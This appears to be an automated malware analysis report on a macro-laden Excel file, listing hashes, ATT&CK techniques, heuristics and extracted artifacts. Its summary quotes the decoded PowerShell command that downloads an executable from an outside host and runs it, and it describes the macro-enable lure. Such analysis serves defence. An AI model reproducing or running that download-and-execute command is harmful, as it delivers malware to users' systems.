Office (OOXML) / .XLSM malware analysis — malicious · 4cd612a6b3a9155c

MALICIOUS

Office (OOXML) / .XLSM

389.9 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 15.0300

MD5: e605c74aec51b82e10a69a8f348832a6 SHA-1: 6a69fdc1fbf829426f429ed7791dabaf6e7247e9 SHA-256: 4cd612a6b3a9155c0ad6e00f4cfc10d27e3851fdf6482847f327b23624b19cd3

110 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

This XLSM file contains VBA macros that employ a lure to trick users into enabling content. The script decodes a Base64 string which, when decoded, reveals a PowerShell command. This command is designed to download an executable file named 'B-Serer.exe' from 'http://coacarmenwilliams.com/B-Serer.exe' and then execute it. The PowerShell command is constructed as: 'New-Object System.Net.WebClient).DownloadFile("http://coacarmenwilliams.com/B-Serer.exe", "$env:APPDATA\ProcName") ;(Start-Process "$env:APPDATA\ProcName")'. The VBA also constructs a command to run PowerShell with specific arguments, likely to execute the downloaded payload.

Heuristics 5

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
External hyperlinks (6) low OOXML_EXTERNAL_HYPERLINKS

Document contains 6 external hyperlinks — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/?linkid=844736
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL https://go.microsoft.com/fwlink/?linkid=844736
- http://go.microsoft.com/fwlink/?LinkId=844969
- https://go.microsoft.com/fwlink/?linkid=844749
- https://go.microsoft.com/fwlink/?linkid=844741
- https://go.microsoft.com/fwlink/?linkid=844732
- https://go.microsoft.com/fwlink/?linkid=844725
- https://go.microsoft.com/fwlink/?linkid=844742
- https://go.microsoft.com/fwlink/?linkid=844734
- https://go.microsoft.com/fwlink/?linkid=844751
- https://go.microsoft.com/fwlink/?linkid=844745
- https://go.microsoft.com/fwlink/?linkid=844743
- https://go.microsoft.com/fwlink/?linkid=844728
- https://go.microsoft.com/fwlink/?linkid=844746
- https://go.microsoft.com/fwlink/?linkid=844747
- https://go.microsoft.com/fwlink/?linkid=844726
- https://go.microsoft.com/fwlink/?linkid=844738
- https://go.microsoft.com/fwlink/?linkid=844735
- https://go.microsoft.com/fwlink/?linkid=844750
- http://go.microsoft.com/fwlink/?LinkId=846285

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `8dbe3a4814c06dde297b56f6932bdc453ea2e429aae15207e6be6b063a1cb32a`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6011 bytes
`vbaProject_00.bin` `766e6dcaa84e73bf39e955cfc52277da0c9e0d2868ef6fd5b78094bae01bb831`	vba-project	OOXML VBA project: xl/vbaProject.bin	10752 bytes

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